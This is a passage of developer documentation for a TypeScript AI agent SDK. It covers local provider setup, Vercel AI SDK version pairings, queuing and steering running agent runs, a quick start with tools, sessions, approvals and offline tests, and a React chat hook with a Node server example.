  serves). Most compatible servers implement only Chat Completions, and then a
  call fails with a 404, so set `api: 'chat'`. With `'chat'` the built-in hosted
  tools (`webSearch()`, `codeInterpreter()`, `fileSearch()`) are refused, since
  they are Responses API tools; `hostedTool()` still passes through, and
  `reasoning` sends only the effort (no `summary`).
* The key is a dummy: the provider needs a non-empty `apiKey`, and local servers
  ignore it.
* Structured output: LM Studio's `/v1/responses` does not enforce the JSON
  schema, so the model follows it from the prompt alone. Use `api: 'chat'`, which
  sends the schema as `response_format`.
* Set the context window. The model registry does not know local models, so
  compaction assumes `128_000` tokens and warns once. Pass
  `compaction: { contextWindow }`, or call
  `registerModel({ id, provider: 'openai', contextWindow })` once (see
  [Local and unknown models](/compaction#local-and-unknown-models)).

**The `openai/<model>` string with `OPENAI_BASE_URL`.** `OpenAIProvider` passes
`OPENAI_BASE_URL` to `@ai-sdk/openai` when no `baseURL` is configured (on every
major, including the 1.x line that pairs with `ai` 4), so `createAgent({ model: 'openai/qwen3-8b' })` with
`OPENAI_BASE_URL=http://localhost:1234/v1` and a dummy `OPENAI_API_KEY=any`
calls the local server without code changes. That route uses the Responses
API unless `LOUSHO_OPENAI_API=chat` is set too, which selects Chat Completions
for every `OpenAIProvider` without an explicit `api` (what vLLM, llama.cpp and
Ollama's `/v1` need).

**Any AI SDK model.** `fromAiSdk()` wraps a Chat Completions model built with
`@ai-sdk/openai` directly (or `@ai-sdk/openai-compatible`, if you use it):

```ts theme={null}
import { createOpenAI } from '@ai-sdk/openai';
import { createAgent, fromAiSdk } from '@lousho/build-ai-agent';

const local = createOpenAI({ baseURL: 'http://localhost:8080/v1', apiKey: 'any' });
const agent = createAgent({ provider: fromAiSdk(local.chat('qwen3-8b')), instructions: 'You are a helpful assistant.' });
```

`npx lousho doctor` shows `OPENAI_BASE_URL` when it is set, and
`npx lousho doctor --ping` calls `GET <base>/models` on each configured
provider to check that the server answers.

## Vercel AI SDK versions

Every built-in provider except `pi` is an adapter over the Vercel AI SDK
(`ai`). What works
on each major today:

| `ai` | `generate()` | `stream()` | Notes |
| - | - | - | - |
| v4 (`^4.3.19`) | Yes | Yes | Everything in these docs. |
| v6 (`^6.0.0`), v7 (`^7.0.0`) | Yes, through a compatibility layer | Yes, through the same layer | Ollama needs zod 4 installed (below). |

The peer ranges accept all three majors. Pair each with its
provider packages:

| `ai` | `@ai-sdk/openai`, `@ai-sdk/anthropic` | `@ai-sdk/google` | Ollama package |
| - | - | - | - |
| `^4.3.19` | `^0.0.42` or `^1.0.0` | `^1.0.0` | `ollama-ai-provider@^1.2.0` |
| `^6.0.0` | `^3.0.0` | `^3.0.0` | `ollama-ai-provider-v2@^3.0.0` |
| `^7.0.0` | `^4.0.0` | `^4.0.0` | `ollama-ai-provider-v2@^4.0.0` |

The install hint of a missing provider package and `lousho doctor` name the
version for the `ai` you have installed, and `lousho doctor` flags a mismatched
pair (for example `ai` 7 with `@ai-sdk/openai` 1.x). Only `lousho doctor` and
`fromAiSdk()` check the pairing: a built-in provider (a `model` string) loads
whatever major is installed without checking it, so run `lousho doctor` to catch
a mismatch before the first call. `OllamaProvider` loads
`ollama-ai-provider` on `ai` 4 and `ollama-ai-provider-v2` on `ai` 6/7; the v2
package peers on zod 4, which the SDK accepts, so install zod 4
with it (zod 3 projects use Ollama with `ai` 4). `lousho init` scaffolds `ai@^7.0.0` with `@ai-sdk/*@^4.0.0` for
OpenAI, Anthropic, Google and OpenRouter, and `ai@^7.0.0` with `ollama-ai-provider-v2@^4.0.0` and zod 4 for Ollama.

CI installs and tests `ai` 4, 6 and 7, each with zod 3 and zod 4 (six pairings;
`ai` 4 with zod 4 is the one pairing the provider packages do not declare), with
the real `ollama-ai-provider-v2` on `ai` 6 and 7 in the zod 4 jobs.

OpenRouter uses `@ai-sdk/openai` against OpenRouter's base URL. From
`@ai-sdk/openai` 2 on, the default `openai(modelId)` call targets the Responses
API, which OpenRouter does not implement, so `OpenRouterProvider` asks for the
Chat Completions model (`provider.chat(modelId)`) on every major; it works on
`ai` 4, 6 and 7 with the pairing above.

`OllamaProvider` takes the server's base URL (`baseURL`, or `OLLAMA_BASE_URL`
for `resolveProvider()`) and appends `/api` to a bare host, as both Ollama
packages expect it: `http://host:11434` and `http://host:11434/` become
`http://host:11434/api`. A URL that already ends in `/api` (or `/api/`), or has
any other path such as a reverse-proxy prefix, is used as it is.

`generate()` and `stream()` pick the call shape from the installed `ai`
module: when it exports `stepCountIs` (v5 and later), the request is sent in
the v6/v7 shape and the result is read back into the same `GenerateResult`
or `StreamResult`:

* messages become `ModelMessage`s: a tool call's arguments are its `input`, a
  tool result is an `output` (`json` or `text`, `error-json` or `error-text`
  when the tool failed), and an image or file part's `mimeType` is its
  `mediaType`. System messages are kept in place (`allowSystemInMessages`).
* `maxTokens` is sent as `maxOutputTokens`, one step as `stopWhen:
  stepCountIs(1)`, tools as `inputSchema` (a zod schema as it is, a JSON
  Schema through `jsonSchema()`) with no `execute`, and `responseFormat` as a
  JSON-mode `output` that leaves the reply text alone.
* usage comes from `inputTokens` / `outputTokens` / `totalTokens`, with
  `cachedInputTokens` from `inputTokenDetails.cacheReadTokens` and
  `reasoningTokens` from `outputTokenDetails.reasoningTokens`.
* `stream()` reads the SDK's `fullStream` on either major into the same
  chunks: `text-delta` (v6/v7 `text`, v4 `textDelta`), `tool-call` (the
  whole call v6/v7 sends after `tool-input-start`/`-delta`/`-end`, or one
  assembled from that input when the model sends none), and `finish` with
  the SDK's finish reason and the usage above (v6/v7 `totalUsage`). An
  `error` part rejects the stream with its error, on v4 too (v4 used to end
  such a stream with finish reason `error`), and an `abort` part with the
  signal's reason. Reasoning deltas are reported as `reasoning-delta` chunks and
  surface as `reasoning.*` events (see [Reasoning](/reasoning)).

On v6/v7 the model must come from a provider package for that major (the
table above); the `0.0.x`/`1.x` packages produce models `ai` v7 rejects. Image
parts are sent as `file` parts with an image media type (the shape `ai` v6/v7
takes for images, so there is no deprecation warning). `ai` v5 is not supported:
`lousho doctor` fails an installed `ai` 5 with an upgrade hint (move to `ai` 6
or 7 and the matching `@ai-sdk/*` major).

## Where each provider runs

All providers run on Node. The `cloudflare-worker` deploy target supports
`mock`, `openai`, `anthropic` and `openrouter` (key from the
`OPENROUTER_API_KEY` binding); `google`, `ollama` and `pi` need the `node-server` or
`docker` target (see [Cloudflare Workers](/cloudflare-workers)).


# Queued input and steering
Source: https://lousho.com/queue-and-steer



Add input to a run that is still going, or redirect it. Both are methods of the run handle that `agent.stream()` returns; see [Streaming](/streaming).

## Queued input

`run.enqueue(input)` adds user input (a string, content parts or a
`Message[]`) to a run that is still going, for example a follow-up the user
types while the agent works. The run does not stop: the input joins the
transcript at the next safe point - after the current step's tool results,
never between a tool-call turn and its results - and the next model call sees
it, as if the user had typed it. Input queued while the model writes its final
reply gets one more step, so the model answers it in the same run. The
`vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const run = agent.stream('Plan a weekend in Rome.');

const queued = run.enqueue('Keep it under 500 EUR.');
for await (const event of run) {
  if (event.type === 'input.applied') console.log(`applied before step ${event.step}`);
}
if (queued.applied === false || !(await queued.applied)) {
  // The run ended without it: send it as a new turn (e.g. session.send()).
}
```

`enqueue()` returns `{ id, applied }`. `id` is on the `input.queued` and
`input.applied` events. `applied` is `false` when the run had already
finished: the input was not taken, so send it yourself, as a new turn
(`session.send()`). Otherwise it is a promise that resolves to `true` once the
input is in the transcript, or to `false` when the run stopped before its next
model call (aborted, paused for approval, out of `maxSteps` or budget, or
failed); the input is then left to you too.

* Several inputs queued before the same model call are applied together, in
  the order they were queued.
* With checkpointing (`sessionId` or a durable session), an input that is
  still waiting is saved at the end of the run's checkpoint right away, the
  same slot as input queued behind unanswered tool calls (see
  [Durable execution](/durable-execution)). A crash, or a run that fails,
  does not lose it: `agent.resume()` applies it (`applied` of a run that
  failed in-process still resolves `false`). A run that finishes, pauses or is
  aborted does not keep it.
* Without a stream, pass an `InputQueue` as `ExecuteOptions.inputQueue` and
  call its `push()`: the same queue that is behind `run.enqueue()`. One
  queue serves one run.
* In a session, `agent.session({ turnPolicy: 'queue' })` makes a `send()` or
  `stream()` made while a turn runs (or waits to start) join that turn this way. See
  [Sessions](/sessions#the-session-object).

Queued input waits for the step that is running. To redirect the run at
once, steer it (next section).

#### Advanced: the executor API

Without a stream, pass an `InputQueue` to `AgentExecutor.execute()` (see
[the executor API](/executor-api)):

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { InputQueue } from '@lousho/build-ai-agent';

const inputQueue = new InputQueue();
const pending = AgentExecutor.execute({ agent, provider, input: 'Plan my trip.', inputQueue });
inputQueue.push('Also book a hotel.');
const result = await pending;
```

## Steering

`run.steer(input)` redirects a running run to new user input, for example when
the user changes their mind while the agent is still thinking:

* If a model call is in flight and has not emitted text or tool calls yet, it
  is aborted (with a signal of its own, not the run's: the run goes on), its
  partial output is discarded, `input` is appended as a user message and the
  model is called again. `applied` is `'immediate'`, and the aborted call's
  step ends with `step.done` `'steered'`. A provider that ignores the abort
  signal is not waited for; its late reply is dropped.
* If the model has already emitted text (or tool calls), `input` waits for the
  next safe point like [`enqueue()`](#queued-input): `applied` is `'queued'`.
* Tool calls already running finish and their results are kept; calls of that
  turn that have not started yet are not run and get the usual "cancelled
  before it ran" result. Then the input is applied.
* `applied` is `false` once the run has finished: send the input as a new turn.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const run = agent.stream('Plan a weekend in Rome.');

const steered = run.steer('Actually, make it Paris.');
console.log(steered.applied); // 'immediate', 'queued' or false
for await (const event of run) {
  if (event.type === 'input.steered') console.log(`steered (${event.mode})`);
}
console.log(await steered.joined); // true once the input is in the transcript
```

`steer()` returns `{ id, applied, joined }`: `id` is on the `input.steered` and
`input.applied` events, and `joined` is a promise of whether the input made it
into the transcript (as `enqueue()`'s `applied`). The aborted call counts as a
step of `maxSteps`. With checkpointing, the input is saved at the end of the
checkpoint as soon as it is taken and before the model is called again, so a
crash during the redirect does not lose it; the discarded partial turn is never
checkpointed. Without a stream, call `steer()` on the run's
`ExecuteOptions.inputQueue`. In a session, `agent.session({ turnPolicy: 'steer' })`
makes a `send()` or `stream()` made while a turn runs steer that turn (see
[Sessions](/sessions#the-session-object)).


# Quick Start
Source: https://lousho.com/quickstart

This page takes you from a one-line agent to tools, streaming, sessions, an approval and an offline test. Every snippet after the first runs as-is with no API key, on the SDK's built-in mock provider.

## Start a new project

The fastest way in is one command, which creates a runnable project (an
agent, an example tool, an offline test, a `.env.example` for your provider),
installs its dependencies and runs `git init`:

```bash theme={null}
npm create lousho-agent my-agent
cd my-agent
# copy .env.example to .env (cp on macOS/Linux, copy on Windows), then put your API key in it
npm run dev              # chat with your agent in the terminal
npm test                 # offline tests: no API key needed
```

To try a locally packed `create-lousho-agent` (`npm pack`), pass the tarball's absolute path with `--package`: `npx --package=/abs/path/create-lousho-agent-x.y.z.tgz create-lousho-agent my-agent`. A bare `npx ../x.tgz` fails on Windows.

`npx @lousho/build-ai-agent init my-agent` is equivalent (pass `--provider`
and `--template`, since it runs without the interactive prompts). Inside a
project that already has the SDK installed, `npx lousho init` works too: the
`lousho` command comes from the SDK package, so a bare `npx lousho` outside such
a project finds nothing to run. Without arguments, `init` asks for the
directory, provider and template; `npx @lousho/build-ai-agent init --help`
lists every flag.

Prefer to add the SDK to an existing project? Install it by hand (see
[Installation](/installation)):

```bash theme={null}
npm install @lousho/build-ai-agent ai@^7.0.0 zod
npm install @ai-sdk/openai@^4.0.0 @ai-sdk/anthropic@^4.0.0
```

That is the current `ai` major; for Ollama, use `ai@^7.0.0` with
`ollama-ai-provider-v2@^4.0.0` and zod 4 (see [the pairings](/installation#provider-packages)).

## 1. Hello world

`createAgent()` is the zero-config entry point: a `provider/model` string and
instructions in, a `{ send }` agent out. The API key is read from the
provider's conventional environment variable (`OPENAI_API_KEY` here;
`ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY` or `OLLAMA_BASE_URL` for the other
providers). The `vendor/` model prefix chooses the provider; with OpenRouter
use `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4.1-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4.1-mini', instructions: 'You are a helpful assistant.' });
const { text } = await agent.send('Hello!');
console.log(text);
```

Leave `model` out to let the environment decide: `LOUSHO_MODEL` (a
`provider/model` string) if set, otherwise the first of `OPENAI_API_KEY`,
`ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY`, `OLLAMA_BASE_URL` that is present.
If a key is missing or the prefix is misspelled, the error tells you exactly
what to set or fix. `instructions` is optional; `prompt` is accepted as an
alias for it.

## 2. Add a tool

Define a tool with `defineTool()`: the `execute` and `needsApproval` arguments
are typed from the zod `input`, and the result goes straight into
`createAgent({ tools: [...] })`. The mock provider simulates a tool call
whenever the user message mentions a tool's name, so this snippet exercises a
real tool round trip without an LLM.

```ts theme={null}
import { createAgent, createMockProvider, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const currentDate = defineTool({
  name: 'current_date',
  description: 'Get the current date',
  input: z.object({}),
  async execute() {
    return { date: new Date().toISOString().slice(0, 10) };
  },
});

const agent = createAgent({
  instructions: 'You are a scheduling assistant. Use tools when helpful.',
  provider: createMockProvider({ responses: ['Let me check.', 'Here is the date you asked for.'] }),
  tools: [currentDate],
});

const result = await agent.send('Please call current_date for me');
console.log(result.toolCalls.map((call) => call.function.name)); // [ 'current_date' ]
console.log(result.text);
```

Names must be 1-64 characters of letters, digits, `_` or `-`. See
[Tools](/tools) for validation, errors and the built-in tools.

## 3. Stream the answer

`agent.stream()` runs the agent like `send()` and returns an `AgentRun`: iterate
it for typed events (model text as it arrives, tool calls, step boundaries),
and `await run.result` for the same result `send()` returns.

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You are a helpful assistant.',
  provider: createMockProvider({ responses: ['Streaming works word by word.'] }),
});

const run = agent.stream('Tell me something.');
for await (const event of run) {
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
process.stdout.write('\n');

const result = await run.result;
console.log(result.finishReason); // "stop"
```

See [Streaming](/streaming) for the full event list, cancellation and
sending the events to a browser.

## 4. Remember the conversation

`agent.send()` starts from an empty history on every call. `agent.session()`
keeps the transcript and passes it to the model on each `send()`.

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You are a helpful assistant.',
  provider: createMockProvider({ responses: ['Nice to meet you, Ali.', 'Your name is Ali.'] }),
});

const session = agent.session();
await session.send('My name is Ali.');
const { text } = await session.send('What is my name?');

console.log(text);
console.log(session.messages.length); // 4: two user messages and two replies
```

Pass a store to keep sessions across restarts; see [Sessions](/sessions).

## 5. Ask before a risky action

Flag a tool `needsApproval` and the run pauses before calling it. `send()`
resolves with `finishReason: 'awaiting-approval'` and an `approvalId`; your code
(or a human) then approves or rejects the call and the run continues. Here
`mockModel` from `@lousho/build-ai-agent/testing` scripts the model's turns
exactly, so the tool call is certain.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => `sent to ${to}`,
});

const agent = createAgent({
  instructions: 'You send emails.',
  provider: mockModel([
    { toolCalls: [{ name: 'send_email', args: { to: 'sam@example.com' } }] },
    { text: 'Sent.' },
  ]),
  tools: [sendEmail],
});

const paused = await agent.send('Email the report to sam@example.com');
console.log(paused.finishReason); // "awaiting-approval"

const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
console.log(result.text); // "Sent."
```

Pass `approved: false` (and a `note`) to reject the call instead. See
[Approvals](/approvals) for predicates, stores and deciding from another
process.

## 6. Test it offline

The agent from the last step is already testable: `mockModel` records every
request the agent made, so you can assert on what the model was sent as well as
on the result. No network, no key.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

let sent: string | undefined;
const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => {
    sent = to;
    return `sent to ${to}`;
  },
});

const model = mockModel([
  { toolCalls: [{ name: 'send_email', args: { to: 'sam@example.com' } }] },
  { text: 'Sent.' },
]);
const agent = createAgent({ instructions: 'You send emails.', provider: model, tools: [sendEmail] });

const paused = await agent.send('Email the report to sam@example.com');
const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });

function check(ok: boolean, message: string): void {
  if (!ok) throw new Error(`Assertion failed: ${message}`);
}
check(result.text === 'Sent.', 'final answer');
check(sent === 'sam@example.com', 'the tool ran with the approved arguments');
check(model.calls.length === 2, 'the model was called twice');
model.assertExhausted(); // throws if a scripted turn was never used
console.log('ok');
```

In a real project, put the same assertions in a vitest or Jest test. See
[Testing](/testing) for tool-call flows, error turns and `recordReplay`.

## 7. Custom provider

`model: 'provider/model'` is the shortcut; pass `provider` instead when you
have your own `LLMProvider` or want the mock for tests.
`resolveProvider('<provider>/<model>')` is the function `model` uses under the
hood. This snippet uses OpenAI when `OPENAI_API_KEY` is set and falls back to
the mock provider otherwise - the same pattern the runnable
[examples](https://github.com/LinuxDevil/agent-sdk/blob/main/examples/README.md) use.

```ts theme={null}
import { createAgent, createMockProvider, resolveProvider } from '@lousho/build-ai-agent';

const provider = process.env.OPENAI_API_KEY
  ? resolveProvider('openai/gpt-4.1-mini')
  : createMockProvider({ responses: ['Paris.'] });

const agent = createAgent({
  name: 'geography-bot',
  instructions: 'Answer geography questions in one word.',
  provider,
});

const result = await agent.send('What is the capital of France?');
console.log(result.text);
```

## 8. Declarative agents: spec files

An agent can also be described as plain data - an `AgentSpec` - and turned
into a live agent with `specToAgent()`. The same shape can be written as a
YAML or JSON file and loaded with `loadSpec()`.

```ts theme={null}
import { specToAgent, agentSpecSchema } from '@lousho/build-ai-agent';

const spec = agentSpecSchema.parse({
  name: 'support-bot',
  prompt: 'You are a friendly support agent.',
  provider: { type: 'mock', model: 'mock-1' },
  tools: ['current-date'],
});

const agent = specToAgent(spec);
const result = await agent.send('Hello!');
console.log(result.text);
```

Saved as `agent.yaml`:

```yaml theme={null}
name: support-bot
prompt: You are a friendly support agent.
provider:
  type: mock
  model: mock-1
tools:
  - current-date
```

the same spec runs in the local dev server (chat UI at `/`, `POST /chat`,
hot reload on save) and builds into a deployable server:

```bash theme={null}
npx lousho dev agent.yaml
npx lousho build --target=node-server --agent=agent.yaml
```

## Advanced: the executor API

`createAgent()` is the recommended entry point. It sits on top of
`AgentBuilder` and the static `AgentExecutor.execute()`, which take a few
lower-level options `createAgent()` does not, such as `temperature` and
`maxTokens`. See [The executor API](/executor-api).

## Next steps

* [Configuration](/configuration) - every spec field, provider env var and CLI flag.
* [Deployment](/deployment) - `lousho build` targets (Node server, Docker, Cloudflare Workers).
* [API Overview](/api-overview) - the main exports and where to find full API reference.
* [Examples](https://github.com/LinuxDevil/agent-sdk/blob/main/examples/README.md) - runnable example agents.


# React
Source: https://lousho.com/react



`useLoushoAgent()` puts an agent behind a chat UI. It runs a turn, reads the
[typed event stream](/streaming) as it arrives and turns it into
render-ready state: messages with their text and tool calls, a `status` for
the composer, and the tool call waiting for approval, if any.

It lives in the `@lousho/build-ai-agent/react` subpath. `react` (18 or 19) is
an optional peer dependency: install it in the app that uses the hook.

```tsx theme={null}
import { useLoushoAgent } from '@lousho/build-ai-agent/react';

export function Chat() {
  const agent = useLoushoAgent({ url: '/api/agent' });

  return (
    <form
      onSubmit={(event) => {
        event.preventDefault();
        const input = new FormData(event.currentTarget).get('message');
        if (typeof input === 'string' && input.trim()) void agent.send(input);
        event.currentTarget.reset();
      }}
    >
      {agent.messages.map((message) => (
        <article key={message.id}>
          <header>{message.role}</header>
          <p>{message.text}</p>
          {message.toolCalls.map((call) => (
            <code key={call.id}>{call.name}: {call.status}</code>
          ))}
        </article>
      ))}
      {agent.pendingApproval && (
        <p>
          Run {agent.pendingApproval.toolName}?
          <button type="button" onClick={() => void agent.approve()}>Approve</button>
          <button type="button" onClick={() => void agent.reject('Not now')}>Reject</button>
        </p>
      )}
      <input name="message" disabled={agent.status === 'streaming'} />
      {agent.status === 'streaming' && <button type="button" onClick={agent.stop}>Stop</button>}
    </form>
  );
}
```

## Sources

The first argument says where the agent runs.

| Source | What the hook does |
| - | - |
| `{ url, sessionId?, headers?, fetch? }` | **Remote.** `send(input)` POSTs `{ "input": "...", "sessionId": "..." }` as JSON to `url` and reads the response body as an event stream: SSE (`data: {...}` lines; one event's JSON may span several `data:` lines) or newline-delimited JSON, one event per line. The server below writes exactly that. The hook generates one `sessionId` per chat and sends it with every turn, so a session-aware server (`createRouteHandler`) keeps the conversation; pass your own `sessionId` to resume a stored session. `reset()` starts a new chat id. |
| `{ agent }` | **In process.** `send(input)` calls `agent.stream(input)`. Every turn is a new run with no history, like `agent.send()`. |
| `{ agent, sessionId }` | **In process, multi-turn.** The hook creates `agent.session({ id: sessionId })` once and streams each turn with `session.stream()`, so turns see the conversation so far. |

In-process mode is for React code that runs where the agent can (Electron,
React Native, tests). In a browser, use the remote mode: model API keys belong
on the server.

## Returned state

| Field | What it is |
| - | - |
| `messages` | `UIMessage[]`: `{ id, role: 'user' \| 'assistant', text, toolCalls, reasoning?, finishReason?, object? }`. The text of each model step starts a new paragraph (`\n\n`); in a run with an `output` schema it is the final reply, and `object` holds the validated value. Each `send()` adds a user message and an assistant message that fills in as `text.delta` and tool events arrive; `reasoning` collects the model's `reasoning.delta` text when it streams any. |
| `toolCalls[i]` | `{ id, name, args, status, result?, error?, partial? }`, `status` being `'running'`, `'awaiting-approval'`, `'done'`, `'error'` or `'rejected'`. `partial` is the latest `tool.partial` snapshot of a running [streaming tool](/tools#streaming-partial-results), removed when the call settles or pauses. |
| `status` | `'idle'`, `'streaming'`, `'awaiting-approval'` or `'error'`. |
| `pendingApproval` | `{ id, toolCallId, toolName, args }` of the tool call the run paused on, else `null`. For an `ask_question` call it also has `kind: 'question'` and `question: { text, options?, allowFreeText? }`; a tool waiting on an OAuth sign-in has `kind: 'sign-in'` and `signIn: { provider, displayName?, url }` (see [What the user sees](/oauth#what-the-user-sees)). |
| `error` | `{ name, message }` of the last `error` event or a failed request, else `null`. A remote stream that ends before its `run.done` (a proxy timeout, a server restart) sets `status: 'error'` with an error named `StreamEndedError`, or keeps the server's `error` event when one came first. |
| `usage` | Token usage of the last finished run (from `run.done`), else `null`. |
| `finishReason` | How the last run ended (`run.done`): `'stop'`, `'max-steps'`, `'output-invalid'`, `'budget-exceeded'`, `'guardrail'`, ...; `null` before the first run ends. The four named after `stop` also set `status: 'error'` and an `error` named `RunEndedError` (unless an `error` event already did), so the chat does not look like it finished normally. |
| `todos` | The agent's todo list (`{ id, content, status }[]`), set by each `todo.updated` event of the [todo tools](/tools#todo-tools); `[]` until the first one. It carries across turns; see [Todos](#todos). |
| `partialObject` | For an agent with an `output` schema: the reply parsed so far, from the last `object.delta` event (best-effort, not validated), then the validated `object` of `run.done`. `null` until a run's first `object.delta`, and reset by `send()`. |
| `lastEvent` | The last event received, for anything the projection does not cover. |
| `send(input)` | Starts a turn. If a turn is still running, it is aborted first. `input` is a string, content parts or a `Message[]` (an `AgentInput`); the user bubble shows the text with an `[image]` / `[file]` marker per other part (remote mode POSTs it as `{ "input": ... }`). |
| `reset()` | Aborts the run, forgets the in-process session and clears the chat (remote mode starts a new chat id), as `reset()` in the Vue and Svelte bindings. |
| `stop()` | Aborts the turn in flight through its `AbortSignal`; `status` goes back to `'idle'`. |
| `approve(note?)`, `reject(note?)` | Decide `pendingApproval` (see below). |
| `answer(text)` | Answers a question (`pendingApproval.kind === 'question'`); the same as `approve(text)`. `reject()` declines it. |

Unmounting the component aborts the turn in flight. Events of a
[sub-agent](/sub-agents)'s run (they carry `subagent`) do not change
`messages` — except a sub-agent's `approval.requested`, which does update
`messages`, `pendingApproval` and `status` (the pause is the user's to decide).
Read other sub-agent events from `lastEvent` if you want to show them.

## Approvals

When a tool with `needsApproval` is called, the run stops with
`approval.requested`. `status` becomes `'awaiting-approval'` and
`pendingApproval` holds the call. Then:

* **In process**, `approve(note?)` and `reject(note?)` call
  `agent.approvals.streamResolve({ id, approved, note }, { signal })` (see
  [Approvals](/approvals)). The continued run's events stream in live, so
  its text is appended to the assistant message as it arrives and `status`
  returns to `'idle'`, or to `'awaiting-approval'` if the run pauses again.
* **Remote**, pass `{ approvalsUrl }` as the second argument. The hook POSTs
  `{ "approved": true, "note": "..." }` to `${approvalsUrl}/${approvalId}` and
  shows the continuation live from the SSE stream the session API answers
  with (the same events as a chat turn; a second pause arrives as
  `approval.requested`). A server that answers with an `ApprovalOutcome` JSON
  instead (the one below) still works.
* **Remote without `approvalsUrl`**, `approve()` and `reject()` do nothing.
  Show `pendingApproval` and resolve it through your own API, then `send()`
  the next turn.

An agent created with `askQuestion: true` can ask the user something (see
[Asking the user a question](/approvals#asking-the-user-a-question)). The
pause arrives the same way, with `pendingApproval.kind === 'question'`: show
`pendingApproval.question.text` and its `options`, and call `answer(text)`.

## The server side

A Node endpoint for the remote mode, with the approvals route (the `vendor/`
model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>`, e.g. `openrouter/openai/gpt-4o-mini`):

```ts theme={null}
import { createServer, type IncomingMessage } from 'node:http';
import { createAgent } from '@lousho/build-ai-agent';
import type { ApprovalOutcome } from '@lousho/build-ai-agent/react';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

async function readJson(req: IncomingMessage): Promise<Record<string, unknown>> {
  let body = '';
  for await (const chunk of req) body += chunk;
  return body ? JSON.parse(body) : {};
}

createServer(async (req, res) => {
  const body = await readJson(req);
  const approval = /^\/api\/approvals\/(.+)$/.exec(req.url ?? '');

  if (approval) {
    const id = decodeURIComponent(approval[1]);
    const note = typeof body.note === 'string' ? body.note : undefined;
    const result = await agent.approvals.resolve({ id, approved: body.approved === true, note });
    const next = (await agent.approvals.list()).find((pending) => pending.id === result.approvalId);
    const outcome: ApprovalOutcome = { text: result.text, finishReason: result.finishReason, usage: result.usage, approval: next };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify(outcome));
    return;
  }

  const controller = new AbortController();
  res.on('close', () => controller.abort()); // the hook's stop() or unmount closes the request
  res.writeHead(200, { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache' });
  for await (const event of agent.stream(String(body.input), { signal: controller.signal })) {
    res.write(`data: ${JSON.stringify(event)}\n\n`);
  }
  res.end();
}).listen(3000);
```

The client then uses
`useLoushoAgent({ url: '/api/agent' }, { approvalsUrl: '/api/approvals' })`.
For a multi-turn chat, keep an `agent.session({ id })` per conversation on the
server and call `session.stream()` instead of `agent.stream()`. Give the agent
a `store` (`createAgent({ store: memoryStore() })`, or a durable one) when
sessions are opened per request: without one each `agent.session({ id })`
gets a fresh in-memory transcript and the next turn forgets the first (see
[Choosing a store](/sessions#choosing-a-store)).

## In process

The hook takes the agent itself, too. Called from a custom hook:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { useLoushoAgent } from '@lousho/build-ai-agent/react';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

export function useSupportChat() {
  const chat = useLoushoAgent({ agent, sessionId: 'support' });
  const lastReply = chat.messages.filter((m) => m.role === 'assistant').at(-1)?.text ?? '';
  return { ...chat, lastReply, busy: chat.status === 'streaming' };
}
```

## Without React

The hook is a thin wrapper. The state logic is `reduceAgentEvents(state,
event)`, a pure reducer over `AgentEvent`s and a few local actions
(`ui.send`, `ui.decide`, `ui.resumed`, `ui.stopped`, `ui.reset`, `ui.error`), and
`parseEventStream(response)` reads events back from a fetch response. Both are
exported from the same subpath, for a custom binding or a non-React client:

```ts theme={null}
import { initialAgentUIState, parseEventStream, reduceAgentEvents } from '@lousho/build-ai-agent/react';

let state = reduceAgentEvents(initialAgentUIState, { type: 'ui.send', input: 'Weather in Paris?' });
const response = await fetch('http://localhost:3000/api/agent', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ input: 'Weather in Paris?' }),
});
for await (const event of parseEventStream(response)) {
  state = reduceAgentEvents(state, event);
}
console.log(state.status, state.messages.at(-1)?.text, state.usage?.totalTokens);
```

`parseEventStream()` skips blank lines, SSE comments and `event:`/`id:`
fields, and any line that is not a known event, so it reads both framings.
Breaking out of its loop cancels the response body.

## Todos

An agent that has the [todo tools](/tools#todo-tools) emits a
`todo.updated` event for every `todo_write`; the hook keeps the latest list in
`todos`, and `useTodos(agent)` turns it into a view with counts, the item being
worked on and the progress. It takes the hook's result, so one stream feeds the
chat and the plan. The list carries across turns and is cleared by nothing but a
new hook (it is not restored when the page reconnects to an existing session).

```tsx theme={null}
import { useLoushoAgent, useTodos } from '@lousho/build-ai-agent/react';

export function Plan() {
  const agent = useLoushoAgent({ url: '/api/agent' });
  const { todos, counts, current, progress } = useTodos(agent);

  return (
    <aside>
      <p>
        {counts.completed} of {counts.total} done ({Math.round(progress * 100)}%)
        {current && <> - now: {current.content}</>}
      </p>
      <ul>
        {todos.map((todo) => (
          <li key={todo.id}>
